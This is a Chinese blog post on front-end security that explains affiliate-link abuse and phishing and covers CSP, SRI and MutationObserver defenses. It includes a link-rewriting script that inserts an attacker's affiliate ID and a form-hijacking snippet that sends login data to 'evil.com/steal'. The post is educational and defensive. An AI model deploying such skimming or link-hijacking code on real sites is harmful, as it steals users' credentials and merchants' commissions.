WHAT - affiliate 网络和钓鱼攻击

@PHARAOH

已于 2025-05-06 11:20:08 修改

阅读量676

点赞数 14

分类专栏：前端安全学习专栏文章标签：网络

于 2025-05-06 11:19:57 首次发布

本文链接：https://blog.csdn.net/weixin_58540586/article/details/147729677

版权

前端安全学习专栏专栏收录该内容

3 篇文章

订阅专栏

文章目录

引言
一、什么是 Affiliate 网络滥用？
- 1.1 Affiliate 网络简介
- 1.2 滥用方式
二、钓鱼攻击原理及前端实现
- - - 2.1 钓鱼攻击概述
    - 2.2 前端技术手法
三、二者协同：从注入到变现
四、前端检测与防御策略
术语
结语

引言

在现代 Web 生态中，前端工程师不仅要关注功能和性能，还要防范各类安全威胁。

其中，affiliate 网络滥用与钓鱼攻击是攻击者常用的获利手段。本文将从前端视角出发，深入探讨二者的原理、协同方式，以及具体的检测和防御策略。

一、什么是 Affiliate 网络滥用？

1.1 Affiliate 网络简介

定义：按效果付费的推广模式，推广者（Affiliate）在其渠道投放带有专属参数的链接，每产生一次有效转化（点击、注册、购买）就能获得佣金。
正常用途：品牌方借助 affiliate 扩展流量来源，合作伙伴获取推广收益。

1.2 滥用方式

链接注入：攻击者通过 XSS、过时插件或缓存中毒向页面中注入带有 affiliate 参数的脚本。
重写跳转：拦截用户点击事件，将原始链接重写为带有嫖客（Affiliate）ID 的目标 URL。

// 在全局捕获 a 标签点击，注入 affiliate 参数
window.addEventListener('click', e => {
  const a = e.target.closest('a');
  if (a && a.href.includes('example.com/product')) {
    e.preventDefault();
    const url = new URL(a.href);
    url.searchParams.set('ref', 'evil_affiliate_id');
    window.location.href = url.toString();
  }
});

即攻击者将用户将用户重定向到带有 affiliate 参数的链接。

二、钓鱼攻击原理及前端实现

2.1 钓鱼攻击概述

目标：诱导用户在伪造的高仿真、可信页面上输入敏感信息（账号、密码、支付信息）。
常见载体：登录页、高仿表单、邮件链接。

2.2 前端技术手法

HTML/CSS 仿真：复制目标站点 DOM 结构与样式，使用自托管或缓存中毒的 CSS/JS。
表单劫持：在合法表单提交前拦截用户输入并发送至攻击者服务器。

// 劫持表单提交
const loginForm = document.querySelector('#login-form');
loginForm.addEventListener('submit', e => {
  e.preventDefault();
  const data = new FormData(loginForm);
  // 偷偷将数据发给攻击者
  fetch('https://evil.com/steal', { method: 'POST', body: data });
  // 再正常提交一次到合法服务器
  loginForm.submit();
});

三、二者协同：从注入到变现

植入阶段：利用过时插件或缓存中毒，将 affiliate 注入脚本和钓鱼代码部署到目标站点。
流量劫持：脚本拦截用户行为，按场景触发：
- 点击购买按钮时添加 affiliate 参数；
- 访问登录表单时展示钓鱼表单。
数据收集与变现：
- affiliate 佣金结算；
- 钓取的凭证打包出售或用于进一步的凭证填充攻击。

四、前端检测与防御策略

4.1 内容安全策略（CSP）

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';" />

限制脚本来源，防止缓存中毒或第三方注入。

4.2 子资源完整性（SRI）

<script src="https://cdn.jsdelivr.net/npm/library.js"
        integrity="sha384-..."
        crossorigin="anonymous"></script>

确保引入的 CDN 资源未被篡改。

4.3 前端异常监控

监控未授权的 DOM 变更：MutationObserver 报警。
记录并比对出站请求：如发现发向未知 host 的表单提交。

const obs = new MutationObserver(muts => {
  for (const m of muts) {
    if (m.addedNodes.length) {
      console.warn('可能的 DOM 注入', m.addedNodes);
    }
  }
});
obs.observe(document.documentElement, { childList: true, subtree: true });

addedNodes: The MutationRecord read-only property addedNodes is a NodeList of nodes added to a target node by a mutation observed with a MutationObserver.